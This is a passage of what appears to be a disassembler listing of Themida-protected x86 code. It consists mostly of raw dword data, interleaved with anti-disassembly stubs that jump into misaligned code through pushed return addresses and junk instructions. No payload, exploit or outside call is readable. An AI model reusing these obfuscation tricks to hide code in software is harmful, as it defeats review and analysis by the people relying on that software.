		dd 5806100Eh, 5860Fh, 0ECBF0000h, 2B697C78h, 34880FD8h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 9E17C350h, 0F27B4742h,	37036C3Eh
		dd 21B1BD03h, 7B90610h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 126EC351h
		dd 89C255A9h, 10284585h, 0C18306h, 111B529h, 0D93B0610h
		dd 0CD860Fh, 8B520000h,	1011BDB5h, 8C665F06h, 0A1BD8BD9h
		dd 0F6061010h, 840F04C1h, 8Ah, 33358D89h, 95FF0610h, 6100DC9h
		dd 8E9h, 0B9FA5100h, 4AE348EBh,	6A5B67h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F10CA1C3h
		dd 0EB38C293h, 2A81BD89h, 0C32B0610h, 8F82EF81h, 343D3133h
		dd 0F000008h, 3586h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 89CAF31Eh, 1012D9B5h
		dd 35E906h, 9D890000h, 6102AF1h, 0D618531h, 0C08B0610h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 8BC35343h
		dd 82D91466h, 9B58B4Fh
; ---------------------------------------------------------------------------
		adc	dl, [eax]
		push	es


loc_58C49B:				; CODE XREF: Themida_:loc_58C0B3j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	eax
		call	sub_58C4AA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C4AA	proc near		; CODE XREF: Themida_:0058C4A2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_58C4AA	endp

; ---------------------------------------------------------------------------
		dw 0C1F6h
		dd 563C150Ah, 0C770992Dh, 102AB185h, 73EFB306h,	0B58B5072h
		dd 6102229h, 6AC08B5Fh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 43C5C351h, 55684177h
		dd 9D09C03Bh, 6102229h,	55BD81h, 7D00610h, 850F0000h, 28h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D1C35343h
		dd 1659BD09h, 85FF0610h, 6100055h, 55B5FFh, 8D290610h
		dd 61020CDh, 31C995FFh,	6A0610h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 2EADCBC3h, 11B52BB3h
		dd 8B061013h, 101561B5h, 81669006h, 6A99AEF6h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0BD8DC355h, 564A3036h, 0DACDAB13h, 7E9F5h, 0E1980000h
		dd 71A91689h, 666060B4h, 66D6F2BBh, 0FA606BAh, 8Fh, 0B5316100h
		dd 61007C5h, 1AC58D8Bh,	0AE90610h, 5A000000h, 0EA0EB722h
		dd 0E913FCA6h, 8589614Dh, 61012A9h, 15E5BD8Bh, 0B5890610h
		dd 6102F8Dh, 75BD8952h,	5F06101Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0FFC35545h,	0BD31FD06h, 610084Dh
		dd 9B3BF66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	61C35646h, 4BB4B241h, 6A367Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 3FA7F3C3h
		dd 0E84E223Bh, 0Fh, 1244CE63h, 0F1923137h, 0DEE6C739h
		dd 66CE30FAh, 0F9BD4EBEh, 0FA8B665Fh, 22E9FE8Bh, 89FFFFF8h
		dd 1001E9BDh
; ---------------------------------------------------------------------------
		push	es


loc_58C689:				; CODE XREF: Themida_:0058BEA0j
		mov	eax, ecx
		jmp	short loc_58C691
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_58C691:				; CODE XREF: Themida_:0058C68Bj
		push	ebx
		pop	esi
		mov	esi, ebx
		jmp	loc_58C6A9
; ---------------------------------------------------------------------------
		dw 0B47Dh
		dd 69B703ECh, 0A69D586Fh, 87FEA92Dh
		db 8Ch
; ---------------------------------------------------------------------------


loc_58C6A9:				; CODE XREF: Themida_:0058C695j
		lea	eax, [ebp+61013B9h]
		push	0
		push	esi
		call	sub_58C6BA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C6BA	proc near		; CODE XREF: Themida_:0058C6B2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_58C6BA	endp

; ---------------------------------------------------------------------------
		dw 7C26h
; ---------------------------------------------------------------------------
		mov	al, ds:2B5C64ACh
		jg	$+6
		nop
		jmp	loc_58C6E5
; ---------------------------------------------------------------------------
		db 6Ah,	4Ah, 0F8h
		dd 64B4F56Ch
; ---------------------------------------------------------------------------
		movsb


loc_58C6E5:				; CODE XREF: Themida_:0058C6D8j
		push	eax
		nop
		or	[ebp+6101A9Dh],	ebx
		push	0
		mov	edi, 41A71105h
		push	0
		push	0
		push	edx
		call	sub_58C701
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C701	proc near		; CODE XREF: Themida_:0058C6F9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58C701	endp

; ---------------------------------------------------------------------------
		scasd
		push	0FFFFFFFEh
		retn	0F035h
; ---------------------------------------------------------------------------
		mov	word ptr [eax],	fs
		retf	8174h
; ---------------------------------------------------------------------------
		dd 94EA5DEFh, 0BD858927h, 8D061006h, 1413D885h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 24F852h, 0EDBEF746h,	237DBD0Ch, 101D75BDh, 5C08306h
		dd 8E9h, 64512500h, 0EA3FD063h,	8B66507Dh, 240489F8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 21C35747h, 0BF9B9739h
		dd 8D95895Dh, 6A06101Fh, 6A006A00h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 81DEC353h
		dd 32A18529h, 95FF0610h, 6101D19h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0FDC35040h,	0EE9D5h, 0C7A10000h
		dd 76FCDB5Eh, 304CD9h, 0DDA731D2h, 0AFD89D8Dh, 95890613h
		dd 6102F91h, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 84C227C3h, 0ABC5A7A9h, 6860FAFh
		dd 81000000h, 1F857ACFh, 1985FF27h, 3061014h, 101281BDh
		dd 5DBD8B06h, 0E9061029h, 798h,	0E8h, 0ED815D00h, 61413E2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0BBC35343h
		dd 5267489Fh, 6448D630h, 0C6BE66E8h, 55BD812Dh,	0D0061000h
		dd 0F000007h, 14686h, 9D8BF900h, 6100BA5h, 4D7AEF81h, 0E381271Bh
		dd 100h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	0EEC35040h, 0CF11F9A9h,	7187E9FDh, 0D9BD8B2Ah
		dd 0B061013h, 94850FDBh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A658C352h
		dd 66FA8B32h, 0BD83F78Bh, 6141222h, 11840F00h, 0F000000h
		dd 288h, 0E9FB8B00h, 67h, 0A85FBE66h, 122285C7h, 10614h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8B2E32C3h, 950160F3h, 610003Dh, 1D159589h
		dd 0E9610610h, 27h, 12E9h, 569D8800h, 0D66171CCh, 66C13A4Fh
		dd 0FDBF7BF2h, 0C7786099h, 14122285h, 6, 44DF8100h, 8D689EBAh
		dd 100BA59Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 831950B6h, 0BD8960C3h, 6102AF9h
		dd 6E1BD8Bh, 81610610h,	0FFFEFF23h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 29958903h
		dd 6606101Fh, 0B58BDB8Ch, 61030E5h, 0F04C3F6h, 0A084h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0EC218E7Eh, 8B2C20DEh, 102D01B5h, 0C995FF06h
		dd 6A06100Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 3BB9C352h, 0FB78C1D4h,	0FCAB0C93h
		dd 2FD1B501h, 0E9900610h, 7, 0B1C8805Dh, 5003276Eh, 12E890h
		dd 45870000h, 13ADEE19h, 2717EC28h, 0F8B42962h,	0D3B952A6h
		dd 11E9h, 3F865300h, 0EE9E0B00h, 8A440664h, 0D017DA9h
		dd 0E95F4D7Eh, 5, 63CAF960h, 32FE91Eh, 6A0000h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0D9D2B8C3h, 0F301120h, 888h,	28F0F00h, 60000000h, 24BE6661h
		dd 6000B0D3h, 2418D31h,	11E90610h, 2E000000h, 0EDFDEB2Ch
		dd 0E1831778h, 0B5723902h, 0ED54F972h, 8970E661h, 100125B5h
		dd 8DB58B06h, 0E406100Fh, 57006A71h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 96026C4Fh
		dd 8925F682h, 102885BDh, 0D8B60F06h, 6BAF9h, 8B520000h
		dd 1006FDB5h, 0C38B5F06h, 7F1BD33h, 0BD890610h,	6100525h
		dd 6A04E8C1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0E0EFC353h, 0FA6E9A01h, 65958920h
		dd 6606100Dh, 2BF5E2F7h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0DA97A265h, 50F08B93h
		dd 840Fh, 0F8930000h, 55B5FFh, 0BD8B0610h, 6100125h, 0C9BD8Bh
		dd 95FF0610h, 61031C9h,	14E8h, 7D119700h, 43AE5C79h, 0B12AE9D6h
		dd 39A23F58h, 7F5A10D2h, 7BE662Dh, 0B05EAAh, 1311B58Bh
		dd 70E60610h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	0C2C35040h, 8F0FCC2Bh, 6, 21CD9589h, 71E40610h
		dd 0D2941DBEh, 41953105h, 3C06102Fh, 0AA830F61h, 81000001h
		dd 640766EEh, 0D8B60F70h, 21E5B58Bh, 6BA0610h, 29000000h
		dd 101FC185h, 49B58B06h, 8B061005h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 302C6DC0h
		dd 0DDB38E20h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0DB8C352h, 6645D4AFh
		dd 69D6E681h, 81E2F766h, 0B4BB8ECEh, 60D82B0Bh,	8D00D081h
		dd 0FE8A5A3Eh, 89536061h, 101E81B5h, 0F98B5E06h, 0BD8B5861h
		dd 6103189h, 880FD82Bh,	10Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 24C35040h, 0D7F128DEh, 0BB60B408h
		dd 282E125Ch, 0B488BA66h, 118C0F61h, 0E9000000h, 0Ch, 0D2A55052h
		dd 317C4DA4h, 378B929h,	7B9h, 41BD2B00h, 83061031h, 6A00C1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0A9A7CDC3h, 13335250h, 8A0F9196h, 0
; ---------------------------------------------------------------------------
		mov	esi, 511526h
		cmp	ebx, ecx
		jbe	loc_58CDB9
		push	0
		push	edx
		call	sub_58CD40
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CD40	proc near		; CODE XREF: Themida_:0058CD38p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_58CD40	endp

; ---------------------------------------------------------------------------
		dd 309640FCh, 2360E8EAh, 1010B19Dh, 0BD8D8B06h,	61061011h
		dd 0FD98C66h, 860FF1BFh, 6, 317DB58Bh, 0C1F60610h, 38840F04h
		dd 0F000000h, 95FFF6B7h, 6100DC9h, 8BF55BF8h, 100075BDh
		dd 3DC32B06h, 834h, 19860Fh, 29600000h,	103081BDh, 0B1B26006h
		dd 0D38166h, 0E96161E4h, 5, 8BF9B70Fh
		db 0C0h
; ---------------------------------------------------------------------------


loc_58CDB9:				; CODE XREF: Themida_:0058CD2Fj
		mov	eax, ebx
		mov	ebx, eax
		mov	[ebp+61021C1h],	edi
		mov	dword ptr [ebp+6102875h], 18D6D51Bh
		push	0
		push	edx
		call	sub_58CDD8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CDD8	proc near		; CODE XREF: Themida_:0058CDD0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_58CDD8	endp

; ---------------------------------------------------------------------------
		adc	[eax-7E62760Fh], ecx
		sbb	al, 10h
		push	es
		mov	eax, eax
		push	0
		push	edi
		call	sub_58CDFE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CDFE	proc near		; CODE XREF: Themida_:0058CDF6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_58CDFE	endp

; ---------------------------------------------------------------------------
		dw 2BF3h
		dd 0C7F511DFh, 0B58BD052h, 6103055h, 55BD81h, 7D00610h
		dd 850F0000h, 28h, 66C4BBBEh, 5585FF7Ch, 56061000h, 0FE8h
		dd 0DC0100h, 0AF682BCEh, 0F8BE79h, 5FA454CAh, 2269B52Bh
		dd 5F5F0610h, 55B5FFh, 6A0610h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0C1B7CBC3h, 0F160879h
		dd 38Eh, 0F08B6600h, 2A018D89h,	95FF0610h, 61031C9h, 799B58Bh
		dd 6A900610h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0C897C357h, 8D8B603Eh,	6103071h
		dd 8459D89h, 60600610h,	14E961h, 3CB30000h, 10FF90D4h
		dd 4399CC1h, 150533ECh,	76DC6F6Dh, 61F810F9h, 6890F61h
		dd 89000000h, 10020DBDh, 95958906h, 6A06101Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 81BAC352h, 0E94E2FFEh, 8D89ACB2h, 6100FE5h, 2151BD23h
		dd 6E90610h, 36000000h,	8D0703FCh, 57006A65h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 2460D564h
		dd 238A0Fh, 8B600000h, 1030EDBDh, 12E906h, 8DA60000h, 0FFB9F68Eh
		dd 0F1FBA6C3h, 3D0AF920h, 0E49373CBh, 61CBB70Fh, 51006AFCh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0F88B3FBFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0DAC35141h, 7436998Bh, 514F20B7h, 30E1B58Bh, 0E95E0610h
		dd 0FFFFF884h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	2DC35242h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 2A9E2FC3h, 0EE264AA0h
		dd 0B589B0BCh, 6100EEDh, 4EBh, 95890000h, 6101149h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B5C35747h, 337646D1h
		dd 0B9858D77h, 0F061013h, 884h,	8C0F5700h, 0
; ---------------------------------------------------------------------------
		pop	edi
		push	eax
		mov	[esp], eax
		push	0
		push	eax
		call	sub_58D05C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D05C	proc near		; CODE XREF: Themida_:0058D054p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_58D05C	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db	64h
		dec	ebp
		mov	esp, 89238199h
		test	[ecx+29061005h], esi
		test	edx, ebp
		adc	[eax], edx
		push	es
		push	0
		push	0
		push	edi
		call	sub_58D08C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D08C	proc near		; CODE XREF: Themida_:0058D084p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_58D08C	endp

; ---------------------------------------------------------------------------
		dd 7F712244h, 535E4FBAh, 0DCBE6688h, 19B501EFh,	6A061016h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 90C68246h, 84E4B291h, 20959D01h,	0BD310610h
		dd 610190Dh, 1D81858Dh,	0C0830614h, 905F5705h, 50F98B66h
		dd 4A7BE60h, 8B667372h,	6A9061DAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 1500C350h
		dd 0C96785FAh, 8E9h, 63490F00h,	417674E7h, 6A006AF9h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 4D75C356h, 3475BF43h, 6880FD5h, 29000000h, 10158195h
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0BB3CC355h, 2282CABEh,	8B2A04CFh
		dd 1995FFF3h, 6A06101Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 76E4C351h, 26B26B71h
		dd 0D89D8D46h, 890613AFh, 1016CD8Dh, 6AD3FF06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 3699C356h, 4F20B774h, 0BD8B43E4h, 61032C5h, 141985FFh
		dd 0BD330610h, 61014B1h, 8B2E9h, 0E800h, 815D0000h, 141D8BEDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 306410DCh, 0BF662688h, 0BD81BB67h, 6100055h
		dd 7D0h, 19D860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0AB4FCDC3h, 0BD8B95E9h
		dd 6101A95h, 1685BD2Bh,	95310610h, 610327Dh, 419D8Bh, 6A0610h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 96A58CC3h, 0E999A103h, 10h, 238AE67Bh, 35B99C41h, 0E5A2B325h
		dd 3AEE7C74h, 100E381h,	0F560000h, 587h, 0C002BF00h, 0B5E3D9Ah
		dd 0B4850FDBh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0F456C357h,	1B36D6A6h
		dd 13E8h, 95207D00h, 0C6C35FABh, 0B0EED2B7h, 20D48C44h
		dd 0F96A1082h, 5E9h, 28B63400h,	835E2B19h, 141BA3BDh, 840F0006h
		dd 31h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h
		dd 75C35747h, 960AE95h,	100DC5BDh, 0F9B70F06h, 5EE961h
		dd 0BF0F0000h, 0A385C7F0h, 106141Bh, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0BDEC350h, 536221ACh, 2BE9h,	0C7F78B00h, 141BA385h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 5F504C14h, 419D8Dh, 0E6810610h, 4FA655BFh
		dd 0FEFF2381h, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0D2368FC3h, 0D1BD8B57h, 66061005h
		dd 0B58BDB8Ch, 610108Dh, 0F04C3F6h, 8284h, 14E900h, 0E4370000h
		dd 0DC3315EBh, 0A5D28C1Ah, 4E2AC4DCh, 22E5087Eh, 8A0F3048h
		dd 0
		dd 0DC995FFh, 11E80610h, 0E2000000h, 0B5FFDB6Fh, 0B469DADDh
		dd 0AC9ACFB8h, 9DB80286h, 0E853905Fh, 0Fh, 0F1C6E5A4h
		dd 0A387B05h, 61A06736h, 668A6CF7h, 5E5FF88Bh, 65B96050h
		dd 610BA188h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0D9BD8B1Ch, 0E906102Eh, 3D0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 15C35747h, 0CD4D0743h
		dd 0E0D719BCh, 56BE6699h, 0D3B86083h, 233FBC72h, 1008E18Dh
		dd 0B06106h, 32CF8166h,	29BD8B0Fh, 0E6061023h, 50006A70h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 897754BBh, 101C15BDh, 0F7816606h, 71E459BBh,	1DA1BD8Bh
		dd 0B60F0610h, 69BD8BD8h, 0BA06101Ah, 6, 13E9h,	0B7373800h
		dd 0C25F640Dh, 33DC1A8Ch, 47894075h, 0B2C4EC8h,	6AC38Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 4059A4C3h, 607AC70Dh, 0E9600D13h, 0Dh, 568DFEEFh, 461323FCh
		dd 616078D0h, 23BE6637h, 0E8C161C8h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 8A452EC7h
		dd 8BE2F766h, 1005F9B5h, 0FB8B6606h, 11E8D82Bh,	0A0000000h
		dd 7E045FCh, 8A8BBDC0h,	47405356h, 4A9B64C9h, 6830Fh, 0B5010000h
		dd 610085Dh, 7EBF505Eh,	8911EBAAh, 6A241Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 539B72C3h
		dd 7599D09h, 0FF5F0610h, 100055B5h, 25B58B06h, 0FF06102Fh
		dd 1031C995h, 6DB58906h, 0B006100Dh, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 816615E0h
		dd 0E62CF3EFh, 0BE71E470h, 36056A57h, 2785B589h, 613C0610h
		dd 222830Fh, 0BF660000h, 0B60FAF5Dh, 0C5B58BD8h, 0BA061031h
		dd 6, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 15h
		dd 2C35040h, 0F6B70F93h, 956C38Bh, 101CB19Dh, 8B665E06h
		dd 4E8C1FEh, 0CE9h, 10AA9900h, 118BD202h, 98F8E689h, 0E2F76647h
		dd 11E8h, 3CFEBC00h, 3C6C7171h,	6DCE6A5Fh, 13EF131Ah, 2B5F4B92h
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0F9BF0F4Ah, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 35F07499h
		dd 0C2760726h, 8B666C7Dh, 0FD82BF1h, 16388h, 4820F00h
		dd 66000000h, 0B92B9BBFh, 7, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0F5C35343h,	0BD8B98E8h, 610076Dh
		dd 6A00C183h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 58B3C355h, 0BB279621h,	0D93BEFBBh
		dd 102860Fh, 0B52B0000h, 6101BC1h, 6AD98C66h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 4AB2C352h, 9589CD50h, 6101A91h, 0F04C1F6h, 0A884h, 8D296000h
		dd 6101A5Dh, 0C995FF61h, 5B06100Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0BAC35343h,	0BE0E66D5h, 27A5546h
		dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F2D0E0C3h, 9E8F2B5h, 1E000000h, 352F2BA3h
		dd 7E9DE03Bh, 81BD8960h, 8B06102Ah, 100125B5h, 3D5E6106h
		dd 834h, 2B860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 555361C3h, 29E9BFF4h
		dd 29000000h, 102F718Dh, 6AC08B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0F2C9C351h
		dd 3FD16C54h, 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 92C35646h, 723DBB51h,	0C7F219F1h, 100BA585h
		dd 318BF106h, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 56F98B4Fh, 619D8960h, 89061023h
		dd 1016C18Dh, 8B5F6106h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0E0D719BCh, 55BD81h, 7D00610h
		dd 850F0000h, 48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0A2C35545h, 0B021EA1Bh, 0AE831h, 0CCC80000h
		dd 52488483h, 0A8ABB0DBh, 6ED8D781h, 2B5E3560h,	101EE9B5h
		dd 5585FF06h, 0BE061000h, 25C58FA4h, 55B5FFh, 81660610h
		dd 0FF1430EFh, 1031C995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 35453BF8h
		dd 2F20D759h, 6FE082BFh, 6A9057h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 2E3D3FC3h, 0E8292E83h
		dd 7E95Ch, 1EF30000h, 63B314B0h, 0CE991h, 0D79C0000h, 3D91358Dh
		dd 74048140h, 6A853Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0C4DD67C3h, 8D096015h, 6102995h
		dd 2F39BD01h, 8B610610h, 0D6B460F9h, 0DB58960h,	0E9061028h
		dd 0Ch,	0D586D9E0h, 0DEF1F1DAh,	0D8849313h, 11DD8D8Bh
		dd 81610610h, 4534DBDFh, 6A610Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 97BC23C3h, 298D8904h
		dd 66061019h, 0E85B70BEh, 0Dh, 0E3B63133h, 9EEA1618h, 0D9AAA83Fh
		dd 9D952948h, 89061007h, 101659BDh, 6A5E06h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8E9E3C3h
		dd 71000000h, 6DDC97Eh,	8B46E8E3h, 13E9FAh, 43F20000h
		dd 7E27A3FAh, 2E300A7h,	0E5054333h, 0BD7C795Dh,	1D9589EFh
		dd 0E9061028h, 0FFFFF779h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0A2C35545h, 26E484CFh, 40AA2950h, 81BD2974h
		dd 8B06101Eh, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 2816D6C6h, 4296C2F9h, 10E88Fh, 5D100000h
		dd 0D1524EF6h, 779CD725h, 50452C70h, 0DE8168FEh, 3996A8EAh
		dd 4EB5Fh, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 18AFC352h, 5F507142h, 1F1D9D89h
		dd 858D0610h, 61013B9h,	7E8h, 0EF60C600h, 2A680066h, 11E8h
		dd 8B6A4A00h, 0F6C4A889h, 0E8465B27h, 0C5FEF7B3h, 0B589678Ch
		dd 6100925h, 13E95F5Fh,	43000000h, 5C881676h, 5C2F9C2Fh
		dd 903DE104h, 0EB6C86EEh, 6690F4BDh, 5050FB8Bh,	0AE852h
		dd 4DC40000h, 0C232C59Ch, 0E85B8161h, 0E3F827BEh, 310F5F79h
		dd 6A90585Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 2986C353h, 227DBD01h, 6A0610h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3EC35242h
		dd 168D3EF5h, 6585B015h, 81BD8B2Ch, 6A06102Eh, 0F1D4BE00h
		dd 858D756Ah, 61427DAh,	31744CBFh, 5C08327h, 840F5090h
		dd 3, 90FA8B66h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	39C35242h, 6A2AFC8Fh, 5EF55600h, 0E681006Ah, 8AB0715h
		dd 2A8DBD09h, 95FF0610h, 6101D19h, 1B75B529h, 9D8D0610h
		dd 613AFD8h, 12658531h,	0D3FF0610h, 0B70F5653h,	0FF5E5FF8h
		dd 10141985h, 813E906h,	0E80000h, 5D000000h, 27E4ED81h
